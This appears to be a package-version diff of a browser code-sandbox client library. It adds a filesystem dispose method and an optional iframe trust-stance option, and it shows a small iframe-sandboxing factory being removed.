* disposed keeps its backing store alive for the page's lifetime. Idempotent.
|
|
401
|
+
*/
|
|
402
|
+
SandpackFS.prototype.dispose = function () {
|
|
403
|
+
if (this.disposed)
|
|
404
|
+
return;
|
|
405
|
+
this.disposed = true;
|
|
406
|
+
this.listeners.clear();
|
|
407
|
+
if (this.ownedMountPoint) {
|
|
408
|
+
try {
|
|
409
|
+
core.umount(this.ownedMountPoint);
|
|
410
|
+
}
|
|
411
|
+
catch (_a) {
|
|
412
|
+
/* already unmounted — disposal must never throw */
|
|
413
|
+
}
|
|
414
|
+
this.ownedMountPoint = undefined;
|
|
415
|
+
}
|
|
416
|
+
};
|
|
304
417
|
// ------------------------------------------------------------------
|
|
305
418
|
// Internals
|
|
306
419
|
// ------------------------------------------------------------------
|
|
@@ -323,7 +436,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
323
436
|
switch (_b.label) {
|
|
324
437
|
case 0:
|
|
325
438
|
_b.trys.push([0, 2, , 3]);
|
|
326
|
-
return [4 /*yield*/, this.
|
|
439
|
+
return [4 /*yield*/, this.rawMkdir(META_DIR, {
|
|
327
440
|
recursive: true,
|
|
328
441
|
})];
|
|
329
442
|
case 1:
|
|
@@ -352,7 +465,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
352
465
|
_b.label = 1;
|
|
353
466
|
case 1:
|
|
354
467
|
_b.trys.push([1, 3, , 4]);
|
|
355
|
-
return [4 /*yield*/, this.
|
|
468
|
+
return [4 /*yield*/, this.rawMkdir(dir, { recursive: true })];
|
|
356
469
|
case 2:
|
|
357
470
|
_b.sent();
|
|
358
471
|
return [3 /*break*/, 4];
|
|
@@ -439,7 +552,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
439
552
|
return [4 /*yield*/, this.ensureParent(abs)];
|
|
440
553
|
case 3:
|
|
441
554
|
_c.sent();
|
|
442
|
-
return [4 /*yield*/, this.
|
|
555
|
+
return [4 /*yield*/, this.rawWriteFile(abs, entry.code)];
|
|
443
556
|
case 4:
|
|
444
557
|
_c.sent();
|
|
445
558
|
fileMeta = {};
|
|
@@ -480,7 +593,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
480
593
|
if (this.sidecarMode !== undefined) {
|
|
481
594
|
sidecar.mode = this.sidecarMode;
|
|
482
595
|
}
|
|
483
|
-
return [4 /*yield*/, this.
|
|
596
|
+
return [4 /*yield*/, this.rawWriteFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
|
|
484
597
|
case 2:
|
|
485
598
|
_a.sent();
|
|
486
599
|
return [2 /*return*/];
|
package/dist/types.d.ts
CHANGED
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
import type { FrameStance } from "./clients/iframe-factory";
|
|
1
2
|
import type { SandpackNodeMessage } from "./clients/node/types";
|
|
2
3
|
import type { SandpackRuntimeMessage } from "./clients/runtime/types";
|
|
3
4
|
import type { SandpackFS } from "./fs/SandpackFS";
|
|
@@ -16,6 +17,14 @@ export interface ClientOptions {
|
|
|
16
17
|
* Paths to external resources
|
|
17
18
|
*/
|
|
18
19
|
externalResources?: string[];
|
|
20
|
+
/**
|
|
21
|
+
* The app's resolved trust stance (TRUST_MODES_SPEC §3 / R3-195). Only `"M3"`
|
|
22
|
+
* (a stranger's app) hardens the emitted iframe (sandbox flags + delegated
|
|
23
|
+
* features); absent or `"M0"`/`"M1"`/`"M2"` keeps the exact baseline. The host
|
|
24
|
+
* resolves this; the client never derives it. The per-frame M3 CSP is delivered
|
|
25
|
+
* with the frame's document (via `bundlerURL`), not here.
|
|
26
|
+
*/
|
|
27
|
+
stance?: FrameStance;
|
|
19
28
|
/**
|
|
20
29
|
* Location of the bundler.
|
|
21
30
|
*/
|
package/package.json
CHANGED
|
@@ -1,54 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
/**
|
|
4
|
-
* The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
|
|
5
|
-
* threat T1).
|
|
6
|
-
*
|
|
7
|
-
* App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
|
|
8
|
-
* `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
|
|
9
|
-
* could remove its own sandboxing and reach the parent — the whole capability
|
|
10
|
-
* model collapses. This is the one invariant with no defense-in-depth, so
|
|
11
|
-
* creation is centralized here and the resolved attribute is asserted. Raw
|
|
12
|
-
* `document.createElement('iframe')` for app content elsewhere is forbidden (a
|
|
13
|
-
* greppable CI check), so the verifiable invariant is "every app iframe is born
|
|
14
|
-
* in this factory."
|
|
15
|
-
*
|
|
16
|
-
* Scope: the opaque-origin app iframes (the runtime + static preview clients).
|
|
17
|
-
* The node/nodebox emulator is a different execution model and is intentionally
|
|
18
|
-
* NOT routed through here.
|
|
19
|
-
*/
|
|
20
|
-
var APP_SANDBOX = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
|
|
21
|
-
var APP_ALLOW = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
|
|
22
|
-
/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
|
|
23
|
-
function assertOpaqueOrigin(iframe) {
|
|
24
|
-
var _a;
|
|
25
|
-
var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
|
|
26
|
-
if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
|
|
27
|
-
throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
|
|
28
|
-
"the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
|
|
29
|
-
}
|
|
30
|
-
}
|
|
31
|
-
/** Create an opaque-origin sandboxed iframe for running untrusted app code. */
|
|
32
|
-
function createSandboxedIframe(doc) {
|
|
33
|
-
if (doc === void 0) { doc = document; }
|
|
34
|
-
var iframe = doc.createElement("iframe");
|
|
35
|
-
iframe.setAttribute("sandbox", APP_SANDBOX);
|
|
36
|
-
iframe.setAttribute("allow", APP_ALLOW);
|
|
37
|
-
assertOpaqueOrigin(iframe);
|
|
38
|
-
return iframe;
|
|
39
|
-
}
|
|
40
|
-
/**
|
|
41
|
-
* Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
|
|
42
|
-
* sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
|
|
43
|
-
* this for the case where a host passes in its own iframe element.
|
|
44
|
-
*/
|
|
45
|
-
function ensureSandboxed(iframe) {
|
|
46
|
-
if (!iframe.getAttribute("sandbox")) {
|
|
47
|
-
iframe.setAttribute("sandbox", APP_SANDBOX);
|
|
48
|
-
iframe.setAttribute("allow", APP_ALLOW);
|
|
49
|
-
}
|
|
50
|
-
assertOpaqueOrigin(iframe);
|
|
51
|
-
}
|
|
52
|
-
|
|
53
|
-
exports.createSandboxedIframe = createSandboxedIframe;
|
|
54
|
-
exports.ensureSandboxed = ensureSandboxed;
|
|
@@ -1,51 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
|
|
3
|
-
* threat T1).
|
|
4
|
-
*
|
|
5
|
-
* App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
|
|
6
|
-
* `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
|
|
7
|
-
* could remove its own sandboxing and reach the parent — the whole capability
|
|
8
|
-
* model collapses. This is the one invariant with no defense-in-depth, so
|
|
9
|
-
* creation is centralized here and the resolved attribute is asserted. Raw
|
|
10
|
-
* `document.createElement('iframe')` for app content elsewhere is forbidden (a
|
|
11
|
-
* greppable CI check), so the verifiable invariant is "every app iframe is born
|
|
12
|
-
* in this factory."
|
|
13
|
-
*
|
|
14
|
-
* Scope: the opaque-origin app iframes (the runtime + static preview clients).
|
|
15
|
-
* The node/nodebox emulator is a different execution model and is intentionally
|
|
16
|
-
* NOT routed through here.
|
|
17
|
-
*/
|
|
18
|
-
var APP_SANDBOX = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
|
|
19
|
-
var APP_ALLOW = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
|
|
20
|
-
/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
|
|
21
|
-
function assertOpaqueOrigin(iframe) {
|
|
22
|
-
var _a;
|
|
23
|
-
var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
|
|
24
|
-
if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
|
|
25
|
-
throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
|
|
26
|
-
"the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
|
|
27
|
-
}
|
|
28
|
-
}
|
|
29
|
-
/** Create an opaque-origin sandboxed iframe for running untrusted app code. */
|
|
30
|
-
function createSandboxedIframe(doc) {
|
|
31
|
-
if (doc === void 0) { doc = document; }
|
|
32
|
-
var iframe = doc.createElement("iframe");
|
|
33
|
-
iframe.setAttribute("sandbox", APP_SANDBOX);
|
|
34
|
-
iframe.setAttribute("allow", APP_ALLOW);
|
|
35
|
-
assertOpaqueOrigin(iframe);
|
|
36
|
-
return iframe;
|
|
37
|
-
}
|
|
38
|
-
/**
|
|
39
|
-
* Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
|
|
40
|
-
* sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
|
|
41
|
-
* this for the case where a host passes in its own iframe element.
|
|
42
|
-
*/
|
|
43
|
-
function ensureSandboxed(iframe) {
|
|
44
|
-
if (!iframe.getAttribute("sandbox")) {
|
|
45
|
-
iframe.setAttribute("sandbox", APP_SANDBOX);
|
|
46
|
-
iframe.setAttribute("allow", APP_ALLOW);
|
|
47
|
-
}
|
|
48
|
-
assertOpaqueOrigin(iframe);
|
|
49
|
-
}
|
|
50
|
-
|
|
51
|
-
export { createSandboxedIframe as c, ensureSandboxed as e };
|